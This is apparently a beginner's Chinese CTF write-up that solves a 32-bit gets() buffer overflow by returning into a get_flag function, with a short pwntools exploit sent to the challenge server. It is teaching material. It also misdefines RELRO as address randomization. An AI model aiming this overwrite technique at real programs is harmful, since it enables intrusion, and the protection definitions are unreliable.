今天咱们看的是这道题,刚开始把我都看蒙圈了,里面的函数看都看不完,看都看不懂,真的很烦。真的不让小白活呀!!!!,不足的地方请各位师傅给我说说,我就先谢谢各位师傅大佬了。为了使更多小白可以看的懂,我会写的详细一些。
1.checksec
拿到题先干啥,肯定是先checksec,看看是多少位的,都开启了什么保护。
咱接着复习一下NX,PIE,Stack,RELRO都代表啥。
NX:它会使栈上的数据无法执行,数据执行保护。防止:栈溢出+跳到栈上执行shellcode
Stack:No canary found :就是未发现栈保护。
RELRO:堆栈地址随机化。防止:所有遇到堆栈精确地址的攻击,要想成功,必须提前泄露地址。
PIE:代码地址随机化。防止:构造rop链攻击
不要感觉烦昂,其实这些是为了让我记住才这样的,也让一些小白可以了解了解。
咱们接着看这些告诉了我们什么,这个是32位的,开启的NX保护。
2.反汇编
先看一下伪代码
这里有个gets函数,gets函数是个危险函数,点一下v4
v4就是var_38,就是从var_38到r,需要填充0x38个数据,现在咱知道了偏移量。
紧接着按shift+F12。
看见了一个flag.txt,紧接着双击flag.txt,按ctrl+x,看看flag.txt在哪里。
好像在get_flag里面,咱们在Function name找一找。
它就在main函数旁边了,双击进入
这里有一个if条件语句,意思就是:假如a1==814536271并且a2=425138641的时候,会执行fopen及一下语句,这样我们就可以得到flag.txt.
3.exp
先构造一个栈溢出b'a'*(0x38),再将返回地址改为get_flag函数的地址,为了使该exp打远程的时候能正常退出,我们还需要exit函数使得程序正常退出,所以我们还要找一下exit的函数地址,就在function name里面找.(打远程的时候,如果程序异常退出是不会给你回显的。这时候你就需要exit使得程序正常退出)
地址是0x0804E6A0, 紧接着传入参数a1和a2.
1.exp
from pwn import*
#p=process('./ctf2')
p=remote('node4.buuoj.cn',29508)
get_flag=0x80489A0
exit_addr=0x804E6A0payload=b'a'*(0x38)+p32(get_flag)+p32(exit_addr)+p32(814536271)+p32(425138641)
p.sendline(payload)p.interactive()
有没有人告诉小白,你们到底是怎么想到用mprotect函数,改变执行权限,再用ret2shellcode。我想了好长时间仍不明白,求求各位大佬了。